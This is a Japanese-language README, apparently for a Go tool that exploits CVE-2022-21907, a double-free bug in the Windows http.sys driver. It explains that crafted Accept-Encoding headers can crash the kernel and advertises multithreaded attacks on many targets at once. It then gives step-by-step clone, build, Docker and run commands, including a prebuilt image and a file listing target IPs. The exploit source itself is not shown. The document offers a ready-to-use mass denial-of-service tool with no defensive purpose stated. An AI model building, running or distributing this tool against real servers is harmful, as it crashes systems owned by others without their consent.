
マルチスレッド Golang アプリケーション
CVE-2022-21907 - http.sys ドライバにおける Double Free
これは、複数のターゲットに対して同時にリクエストを送信できるマルチスレッドの Golang アプリケーションです。
POST リクエストではあまり効率的ではありませんが、線形方式と比較して約30%の速度向上を実現します。
認証されていない攻撃者は、「Accept-Encoding」HTTP リクエストヘッダーを含む HTTP リクエストを送信することで、パケット処理のために HTTP プロトコルスタック (http.sys) 内部の未知のコーディングリストでダブルフリーを引き起こし、カーネルクラッシュを引き起こす可能性があります。
Golang:
Golang:
1. git clone https://github.com/iveresk/cve-2022-21907.git
2. cd cve-2022-21907
3. go build cve-2022-21907.go -o /cve-2022-21907
4. chmod +x cve-2022-21907
5. ./cve-2022-21907 -t <targetURL> [or <targetFile>]
Docker のローカルビルド:
1. git clone https://github.com/iveresk/cve-2022-21907.git
2. cd cve-2022-21907
3. nano input.txt [input here your target's IPs in the list]
4. docker build -t <tagName> . || docker build --build-arg INPUT_FILE=<default_target_filename> -t <tagName> .
[In Docker there is a default file named as "input.txt", but you may specify your own one]
5. docker run -it <tagName> || docker run -it -e INPUT_FILE=<target_filename> <tagName>
Docker リポジトリ
docker pull masterrooot/cve-2022-21907:latest
docker run -it <tagName> || docker run -it -e INPUT_FILE=<target_filename> <tagName>
Windows Server 2019 および Windows 10 バージョン 1809:
詳細については、Keybase までお気軽にご連絡ください。